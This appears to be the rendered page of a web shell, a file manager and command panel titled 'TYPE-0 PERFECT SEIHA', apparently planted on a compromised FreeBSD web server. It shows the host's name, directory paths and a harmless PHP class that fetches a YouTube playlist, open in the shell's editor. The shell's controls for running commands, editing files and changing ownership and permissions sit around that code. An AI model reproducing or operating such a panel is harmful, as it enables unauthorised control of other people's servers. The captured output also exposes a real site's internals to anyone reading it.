TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
app
Rest
Video
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/app/Rest/Video/VideoList.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Video; use Nette\Caching\Cache; use Nette\Caching\IStorage; use Nette\Utils\ArrayHash; use RestServer\IPresenter; use RestServer\IParametrs; use RestServer\Response; use Tracy\Debugger; /** * Get list of videos * @author Jan Pospisil */ class VideoList extends \Nette\Object implements IPresenter { private $cache; private $key; public function __construct($googleApiKey, IStorage $storage){ $this->cache = new Cache($storage, 'youtube_video'); $this->key = $googleApiKey; } public function run(IParametrs $parameters, Response $response) { $videos = $this->cache->load('list'); if(!$videos){ $this->cache->save('list', $this->load(), array( Cache::EXPIRE => '1 day' )); $videos = $this->cache->load('list'); } // Debugger::$maxDepth = 100; // dump($videos); // die(); $data = array(); foreach($videos as $video){ $videoEntity = array(); $videoEntity['id'] = $video['snippet']['resourceId']['videoId']; $videoEntity['title'] = $video['snippet']['title']; $videoEntity['description'] = $video['snippet']['description']; $videoEntity['small_image'] = $video['snippet']['thumbnails']['medium']['url']; $videoEntity['large_image'] = $video['snippet']['thumbnails']['standard']['url']; $key = strtr(substr($video['snippet']['publishedAt'], 0, 10), array('-' => '')); $data[$key] = $videoEntity; } krsort($data); $response->data = array_values($data); } private function load(){ Debugger::log('loading video from youtube'); $videos = array(); $response = $this->api(); foreach($response->items as $item){ $videos[] = $item; } while(isset($response['nextPageToken'])){ $response = $this->api($response['nextPageToken']); foreach($response->items as $item){ $videos[] = $item; } } return $videos; } /** * @see http://stackoverflow.com/questions/22613903/youtube-api-v3-get-list-of-users-videos * @param $pageToken */ private function api($pageToken = null){ $url = 'https://www.googleapis.com/youtube/v3/playlistItems'; $parameters = array( 'part' => 'snippet', 'playlistId' => 'UUf8nxljPGdAvFmsx74H-K_Q', 'key' => $this->key, ); if($pageToken) $parameters['pageToken'] = $pageToken; $url .= '?'.http_build_query($parameters); $response = file_get_contents($url); return ArrayHash::from(json_decode($response, TRUE)); } public static function getReturnExample(){ return array( array( 'id' => 'sjkdjgkshdkjfgsd6544df6g4', 'title' => 'Wake kemp', 'description' => 'Best kemp ever', 'small_image' => 'https://i.ytimg.com/vi/HdlVapZLhmU/ghjgh.jpg', 'large_image' => 'https://i.ytimg.com/vi/HdlVapZLhmU/sdfgsd.jpg', ), array( 'id' => 'sdfg564sdf6g5sd5f', 'title' => 'Snow kemp', 'description' => 'Cool snowboard kemp', 'small_image' => 'https://i.ytimg.com/vi/HdlVapZLhmU/ghjgh.jpg', 'large_image' => 'https://i.ytimg.com/vi/HdlVapZLhmU/sdfgsd.jpg', ) ); } }
Crotin
Name
Size
Permissions
Modified
User/Group
VideoList.php
3040
0644
2016-01-14 17:56:42
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin